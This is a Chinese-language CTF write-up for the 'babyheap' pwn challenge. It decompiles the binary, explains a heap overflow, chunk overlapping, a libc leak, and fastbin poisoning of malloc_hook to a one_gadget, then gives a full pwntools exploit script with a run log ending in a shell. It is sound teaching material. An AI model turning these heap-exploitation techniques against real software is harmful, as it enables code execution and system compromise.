Pwn babyheap writeup

源文件、IDA分析文件打包下载:http://file.eonew.cn/ctf/pwn/babyheap.zip

程序功能介绍

安全防护

ex@Ex:~/test$ checksec babyheap
[!] Couldn't find relocations against PLT to get symbols
[*] '/home/ex/test/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

程序是Full RELRO防护,使得劫持got表变得不可能,而且PIE保护也会增加getshell的难度。

结构体

typedef struct container
{
    long long is_used;
    long long size;
    char *ptr;
}container;

主程序

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  container *container_array; // [rsp+8h] [rbp-8h]

  container_array = (container *)allocate_by_mmap();
  while ( 1 )
  {
    show_menu();
    get_number();
    switch ( (unsigned __int64)global_operate )
    {
      case 1uLL:
        Allocate(container_array);
        break;
      case 2uLL:
        Fill(container_array);
        break;
      case 3uLL:
        Free(container_array);
        break;
      case 4uLL:
        Dump(container_array);
        break;
      case 5uLL:
        return 0LL;
      default:
        continue;
    }
  }
}

菜单

int show_menu()
{
  puts("1. Allocate");
  puts("2. Fill");
  puts("3. Free");
  puts("4. Dump");
  puts("5. Exit");
  return printf("Command: ");
}

Allocate

void __fastcall Allocate(container *a1)
{
  signed int i; // [rsp+10h] [rbp-10h]
  signed int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !LODWORD(a1[i].is_used) )
    {
      printf("Size: ");
      v2 = get_number();
      if ( v2 > 0 )
      {
        if ( v2 > 4096 )
          v2 = 4096;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        LODWORD(a1[i].is_used) = 1;
        a1[i].size = v2;
        a1[i].ptr = (__int64)v3;
        printf("Allocate Index %d\n", (unsigned int)i);
      }
      return;
    }
  }
}

calloc

The calloc() function allocates memory for an array of nmemb elements of size bytes each and returns a pointer to the allocated memory. The memory is set to zero. If nmemb or size is 0, then calloc() returns either NULL, or a unique pointer value that can later be successfully passed to free().

Fill

void __fastcall Fill(container *a1)
{
  signed int v1; // [rsp+18h] [rbp-8h]
  int size; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  v1 = get_number();
  if ( v1 >= 0 && v1 <= 15 && LODWORD(a1[v1].is_used) == 1 )
  {
    printf("Size: ");
    size = get_number();
    if ( size > 0 )
    {
      printf("Content: ");
      read_from_stdin(a1[v1].ptr, size);
    }
  }
}

这里的size是由用户输入而定的。

Free

void __fastcall Free(container *a1)
{
  signed int v1; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  v1 = get_number();
  if ( v1 >= 0 && v1 <= 15 && LODWORD(a1[v1].is_used) == 1 )
  {
    LODWORD(a1[v1].is_used) = 0;
    a1[v1].size = 0LL;
    free((void *)a1[v1].ptr);
    a1[v1].ptr = 0LL;
  }
}

free这里处理的很干净,基本找不出漏洞。

Dump

void __fastcall Dump(container *a1)
{
  signed int index; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  index = get_number();
  if ( index >= 0 && index <= 15 && LODWORD(a1[index].is_used) == 1 )
  {
    puts("Content: ");
    output_to_stdout(a1[index].ptr, a1[index].size);
    puts(byte_14F1);
  }
}

输入container->ptr指向内存块的内容,没有'\0'截断。

分析

Fill的size由用户控制,原本设想heap overflow来构造unlink来控制container_array变量来达到任意地址写的目的,但是container_array的地址是完全随机的,所以这里用的是控制main_arena上分的malloc_hook来达到getshell的目的。calloc函数又会给泄露libc基地址增加麻烦。

思路

  1. chunk extend
  2. 泄露libc基地址
  3. 劫持malloc_hook

chunk extend 进行 overlapping

# 用于overflow
Allocate(0x10) # index 0

Allocate(0x80) # index 1
Allocate(0x80) # index 2
# 防止与top chunk合并
Allocate(0x10)

# 修改 index 1 的 size 为 0x121
Fill(0, 0x10 + 0x10, b'a' * 0x10 + p64(0) + p64(0x121))

Free(1)
Allocate(0x80 + 0x90) # index 1

这里我将index 1index 2重合。

泄露libc基地址

由于上面是用alloc函数进行申请内存,所以会对内存进行'\0'填充,所以我们要先需要恢复 index 2 的chunk 首部。

# 2. 泄露libc基地址
# 恢复 index 2 的 chunk 首部
Fill(1, 0x80 + 0x10, b'b' * 0x80 + p64(0) + p64(0x91))
Free(2)
result = Dump(1)
main_arena_88 = u64(result[0x90: 0x90 + 8])
log.success('main_arena_88: ' + hex(main_arena_88))

# 这个需要自行计算
main_arena_88_offset = 0x3c4b78
libc_base = main_arena_88 - main_arena_88_offset
log.success('libc_base: ' + hex(libc_base))

由于不同的库函数main_arena_88_offset是不同的,所以需要自行计算。

劫持malloc_hook

main_arena的布局如下,我们只需要把malloc_hook修改为one_gadget就可以getshell了。

pwndbg> p &main_arena 
$1 = (struct malloc_state *) 0x7ff3b7c4bb20 <main_arena>
pwndbg> x/16gx 0x7ff3b7c4bb20-0x40
0x7ff3b7c4bae0 <_IO_wide_data_0+288>: 0x0000000000000000  0x0000000000000000
0x7ff3b7c4baf0 <_IO_wide_data_0+304>: 0x00007ff3b7c4a260  0x0000000000000000
0x7ff3b7c4bb00 <__memalign_hook>: 0x00007ff3b790ce20  0x00007ff3b790ca00
0x7ff3b7c4bb10 <__malloc_hook>:   0x0000000000000000  0x0000000000000000
0x7ff3b7c4bb20 <main_arena>:  0x0000000100000000  0x0000000000000000
0x7ff3b7c4bb30 <main_arena+16>:   0x0000000000000000  0x0000000000000000
0x7ff3b7c4bb40 <main_arena+32>:   0x0000000000000000  0x0000000000000000
0x7ff3b7c4bb50 <main_arena+48>:   0x0000000000000000  0x0000000000000000

可以看到malloc_hook就在上面。但是向前overlapping的时候会对前面的chunk的size进行检查。所以我们需要进行一点偏移来伪造size。

pwndbg> x/16gx 0x7ff3b7c4bb20-0x40-3
0x7ff3b7c4badd <_IO_wide_data_0+285>: 0x0000000000000000  0x0000000000000000
0x7ff3b7c4baed <_IO_wide_data_0+301>: 0xf3b7c4a260000000  0x000000000000007f
0x7ff3b7c4bafd: 0xf3b790ce20000000  0xf3b790ca0000007f
0x7ff3b7c4bb0d <__realloc_hook+5>:    0x000000000000007f  0x0000000000000000
0x7ff3b7c4bb1d: 0x0100000000000000  0x0000000000000000
0x7ff3b7c4bb2d <main_arena+13>:   0x0000000000000000  0x0000000000000000
0x7ff3b7c4bb3d <main_arena+29>:   0x0000000000000000  0x0000000000000000
0x7ff3b7c4bb4d <main_arena+45>:   0x0000000000000000  0x0000000000000000

one_gadget

不同版本的glibc,one_gadget是不同的,这个需要根据自己的机器变动。

ex@ubuntu:~/test$ one_gadget /lib/x86_64-linux-gnu/libc.so.6
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL

这里简单说一下本人犯的一个错误,在进行申请任意内存时,我用 unsorted bin 来操作的,因为这个问题还调试了挺久的,后面keer大佬提醒要用fastbin 才反应过来。

# 3. 劫持 malloc_hook
Allocate(0x60) # index 2
Free(2) # 放入fastbin 中
Fill(1, 0x80 + 0x20 - 8, b'c' * 0x80 + p64(0) + p64(0x71) 
        + p64(main_arena - 0x33)) # fd

Allocate(0x60) # index 2
Allocate(0x60) # index 4

one_gadget_offset = 0x4526a
one_gadget_addr = libc_base + one_gadget_offset
log.success('one_gadget_addr: ' + hex(one_gadget_addr))
Fill(4, 0x13 + 8, 'd' * 0x13 + p64(one_gadget_addr))

# getshell
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(10))

sh.interactive()

完整脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *

sh = process('./babyheap')
elf = ELF('./babyheap')
# context.log_level = "debug"

# 创建pid文件,用于gdb调试
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

def Allocate(size):
    sh.sendline('1')
    sh.recvuntil('Size: ')
    sh.sendline(str(size))
    sh.recvuntil('Command: ')

def Fill(index, size, content):
    sh.sendline('2')
    sh.recvuntil('Index: ')
    sh.sendline(str(index))
    sh.recvuntil('Size: ')
    sh.sendline(str(size))
    sh.recvuntil('Content: ')
    sh.send(content)
    sh.recvuntil('Command: ')

def Free(index):
    sh.sendline('3')
    sh.recvuntil('Index: ')
    sh.sendline(str(index))
    sh.recvuntil('Command: ')

def Dump(index):
    sh.sendline('4')
    sh.recvuntil('Index: ')
    sh.sendline(str(index))
    sh.recvuntil('Content: \n')
    result = sh.recvuntil('Command: ')
    return result[:-10]

def s():
    raw_input('#')

# 清除流
sh.recvuntil('Command: ')

# 1. chunk extend 进行 overlapping
# 用于overflow
Allocate(0x10) # index 0

Allocate(0x80) # index 1
Allocate(0x80) # index 2
# 防止与top chunk合并
Allocate(0x10) # index 3

# 修改 index 1 的 size 为 0x121
Fill(0, 0x10 + 0x10, b'a' * 0x10 + p64(0) + p64(0x121))

Free(1)
Allocate(0x80 + 0x90) # index 1

# 2. 泄露libc基地址
# 恢复 index 2 的 chunk 首部
Fill(1, 0x80 + 0x10, b'b' * 0x80 + p64(0) + p64(0x91))
Free(2)
result = Dump(1)
main_arena_88 = u64(result[0x90: 0x90 + 8])
log.success('main_arena_88: ' + hex(main_arena_88))
main_arena = main_arena_88 - 88
log.success('main_arena: ' + hex(main_arena))

# 这个需要自行计算
main_arena_88_offset = 0x3c4b78
libc_base = main_arena_88 - main_arena_88_offset
log.success('libc_base: ' + hex(libc_base))

# 3. 劫持 malloc_hook
Allocate(0x60) # index 2
Free(2) # 放入fastbin 中
Fill(1, 0x80 + 0x20 - 8, b'c' * 0x80 + p64(0) + p64(0x71) 
        + p64(main_arena - 0x33)) # fd

Allocate(0x60) # index 2
Allocate(0x60) # index 4

one_gadget_offset = 0x4526a
one_gadget_addr = libc_base + one_gadget_offset
log.success('one_gadget_addr: ' + hex(one_gadget_addr))
Fill(4, 0x13 + 8, 'd' * 0x13 + p64(one_gadget_addr))

# getshell
sh.sendline('1')
sh.recvuntil('Size: ')
sh.sendline(str(10))

sh.interactive()

# 删除pid文件
os.system("rm -f pid")

运行实例

ex@ubuntu:~/test$ ./exp.py 
[+] Starting local process './babyheap': pid 2420
[*] '/home/ex/test/babyheap'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] main_arena_88: 0x7f5fb4114b78
[+] main_arena: 0x7f5fb4114b20
[+] libc_base: 0x7f5fb3d50000
[+] one_gadget_addr: 0x7f5fb3d9526a
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
$ 

总结

三人行必有我师焉。